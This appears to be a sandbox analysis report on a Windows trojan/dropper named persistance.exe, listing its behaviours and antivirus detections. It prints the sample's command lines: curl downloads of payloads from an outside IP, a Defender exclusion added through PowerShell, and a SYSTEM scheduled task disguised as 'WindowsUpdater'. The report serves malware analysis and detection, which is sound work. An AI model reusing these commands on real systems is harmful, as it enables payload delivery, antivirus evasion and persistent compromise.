file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (11 events)

cmdline	C:\Windows\system32\cmd.exe /c curl -s 130.61.181.50/ransomware/persistance.exe > C:\Users\test22\AppData\Local\Temp\Update.exe
cmdline	schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL
cmdline	C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	C:\Windows\system32\cmd.exe /c schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL
cmdline	schtasks /QUERY /TN "WindowsUpdater"
cmdline	C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	C:\Windows\system32\cmd.exe /c curl -s 130.61.181.50/ransomware/payload.exe > C:\Users\test22\AppData\Local\Temp\Temp.exe
cmdline	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe"

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Oct. 15, 2024, 2:16 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (9 events)

cmdline	schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL
cmdline	C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	C:\Windows\system32\cmd.exe /c schtasks /QUERY /TN "WindowsUpdater" 1>NUL 2>NUL
cmdline	schtasks /QUERY /TN "WindowsUpdater"
cmdline	C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe"

Communicates with host for which no DNS query was performed (1 event)

host

130.61.181.50

Installs itself for autorun at Windows startup (3 events)

cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe"

Creates a suspicious Powershell process (3 events)

option	-noninteractive	value	Prevents creating an interactive prompt for the user
option	-noninteractive	value	Prevents creating an interactive prompt for the user
option	-noninteractive	value	Prevents creating an interactive prompt for the user

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Uses Sysinternals tools in order to add additional command line functionality (3 events)

cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	C:\Windows\system32\cmd.exe /c SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe" 1>NUL 2>NUL
cmdline	SCHTASKS /CREATE /SC ONSTART /RL HIGHEST /F /RU SYSTEM /TN "WindowsUpdater" /TR "C:\Users\test22\AppData\Local\Temp\Update.exe"

File has been identified by 46 AntiVirus engines on VirusTotal as malicious (46 events)

Bkav	W64.AIDetectMalware
Lionic	Trojan.Win32.Tasker.1g!c
Cynet	Malicious (score: 99)
Skyhigh	BehavesLike.Win64.Dropper.vm
ALYac	Trojan.GenericKD.74304145
Cylance	Unsafe
VIPRE	Trojan.GenericKD.74304145
Sangfor	Trojan.Win32.Tasker.Vh3u
CrowdStrike	win/malicious_confidence_70% (D)
BitDefender	Trojan.GenericKD.74304145
Arcabit	Trojan.Generic.D46DCA91
Symantec	ML.Attribute.HighConfidence
APEX	Malicious
Avast	Win64:MalwareX-gen [Trj]
Kaspersky	Trojan.Win32.Tasker.bdsu
Alibaba	Trojan:Win32/Tasker.2ba4de67
MicroWorld-eScan	Trojan.GenericKD.74304145
Rising	Trojan.Tasker!8.CA15 (CLOUD)
Emsisoft	Trojan.GenericKD.74304145 (B)
F-Secure	Trojan.TR/AD.Nekark.dhhxc
DrWeb	Trojan.MulDrop28.30448
McAfeeD	ti!FA04B82BC420
CTX	exe.trojan.tasker
Sophos	Mal/Generic-S
FireEye	Trojan.GenericKD.74304145
Google	Detected
Avira	TR/AD.Nekark.dhhxc
Antiy-AVL	Trojan/Win32.Agent
Kingsoft	Win32.Troj.Unknown.a
Microsoft	Trojan:Win32/Wacatac.B!ml
ViRobot	Trojan.Win.Z.Wacatac.2712196
ZoneAlarm	Trojan.Win32.Tasker.bdsu
GData	Trojan.GenericKD.74304145
Varist	W64/ABTrojan.ZWSC-8650
AhnLab-V3	Malware/Win.Generic.C5675534
McAfee	Artemis!FB79AF307B85
DeepInstinct	MALICIOUS
Malwarebytes	Generic.Malware/Suspicious
Ikarus	Trojan-Downloader.Win64.Agent
Panda	Trj/Chgt.AD
Tencent	Malware.Win32.Gencirc.141bfc87
MaxSecure	Trojan.Malware.282237110.susgen
Fortinet	PossibleThreat.PALLAS.H
AVG	Win64:MalwareX-gen [Trj]
Paloalto	generic.ml
alibabacloud	Trojan:Win/Tasker.bbmx

persistance.exe

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